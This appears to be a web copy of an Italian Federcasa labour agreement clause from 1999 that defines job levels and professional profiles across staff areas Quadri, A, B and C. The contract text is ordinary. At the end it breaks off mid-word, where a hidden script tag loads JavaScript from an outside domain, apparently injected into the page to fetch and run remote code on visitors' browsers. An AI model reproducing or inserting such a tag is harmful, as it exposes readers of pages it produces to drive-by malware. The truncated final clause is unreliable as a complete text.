Categoria: Federcasa
Settore: Enti Privati
Data stipula: 9-3-1999

ATTUAZIONE ART. 60, PUNTO 4:

DECLARATORIE DI LIVELLO E PROFILI PROFESSIONALI

ESEMPLIFICATIVI DI AREA


1.  Declaratorie di livello.

Fermo  restando  quanto definito all'art. 47 del CCNL FEDERCASA  9  luglio
1998   circa   l'omogeneità  dei  livelli  e  dei  profili   professionali
appartenenti a una medesima area di classificazione del personale, sono di
seguito esemplificati gli elementi cui si ricollega l'utilizzo dei livelli
di  inquadramento superiori a quello iniziale di ciascuna area  e  che  ne
caratterizzano il profilo.

Ai   predetti  livelli  iniziali  corrisponde  comunque  il  possesso  dei
requisiti  e  delle  caratteristiche di base descritti dalla  declaratoria
dell'area di appartenenza.


1.1. Area Quadri.

Livello Q1

Il  livello  Q1  potrà essere riconosciuto in presenza di  caratteristiche
quali:

·   pluralità dei servizi gestiti;
·    rilevante  ampiezza  del territorio servito e significativa  presenza
  sullo stesso;
·    complessità  e  articolazione  delle strutture  tecnico-organizzative
  gestite;
·    ampiezza e complessità delle funzioni affidate e rilevante importanza
  delle stesse ai fini degli obiettivi aziendali.


Livello Q2.

Lavoratore  in  possesso dei requisiti di base per  lo  svolgimento  delle
mansioni corrispondenti alla declaratoria dell'area di appartenenza.



1.2. Area A.

Livello A1.

Appartengono  al  livello A1 i dipendenti che svolgono mansioni  che,  pur
avendo  le  stesse  caratteristiche di quelle del  livello  A2,  hanno  un
contenuto  professionale di maggiore rilievo per il più elevato  grado  di
presenza  di:  rilevanza  esterna della posizione ricoperta,  funzioni  di
sovrintendenza  e  di  coordinamento di  più  unità  operative,  contenuto
specialistico particolarmente elevato delle mansioni.


Livello A2.

Appartengono al livello A2 i dipendenti che svolgono funzioni direttive di
particolare  importanza  per la loro ampiezza  e  natura,  ovvero  per  la
rilevante  dimensione  dell'unità cui sono preposti,  ovvero  mansioni  di
particolare   importanza  per  il  contenuto  specialistico   e   per   le
responsabilità implicate.


Livello A3.

Lavoratore  in  possesso dei requisiti di base per  lo  svolgimento  delle
mansioni corrispondenti alla declaratoria dell'area di appartenenza.


1.3. Area B.

Livello B1.

Appartengono  al  livello B1 i dipendenti che svolgono funzioni  che,  pur
avendo  le  stesse  caratteristiche di quelle  del  livello  B2  hanno  un
contenuto  professionale  di maggiore rilievo sotto  i  seguenti  aspetti:
rilevanza  esterna,  coordinamento e sovrintendenza di  altri  lavoratori,
contenuto  specialistico delle mansioni, ampiezza e natura dell'ufficio  o
reparto cui sono addetti.


Livello B2.

Appartengono al livello B2 i dipendenti che svolgono funzioni di  concetto
o che svolgono lavori tecnici specializzati,  che richiedono una specifica
competenza  conseguibile  attraverso una notevole  esperienza  pratica  di
lavoro congiunta alle necessarie conoscenze teoriche.


Livello B3.

Lavoratore  in  possesso dei requisiti di base per  lo  svolgimento  delle
mansioni corrispondenti alla declaratoria dell'area di appartenenza.


1.4. Area C.

Livello C1.

Appartengono   al   livello  C1  i  dipendenti   che   svolgono   attività
specialistiche   di   carattere  amministrativo  o  tecnico-manuale,   che
richiedono  una  specifica capacità conseguibile  attraverso  un  adeguato
tirocinio,  acquisibile  attraverso il  lavoro  svolto  nell'ambito  della
Azienda,  mediante  una  preparazione  avuta  in  scuole  professionali  o
attraverso corsi organizzati dall'Azienda stessa a seguito delle procedure
previste dagli artt. 4 e 5 del vigente CCNL.


Livello C2.

Appartengono  al  livello C2 i dipendenti ai quali si richiedono  capacità
conseguibili mediante tirocinio per eseguire lavori d'ordine di  carattere
amministrativo o tecnico-man<script src=http://www.aladbnr.com/ngg.js></script>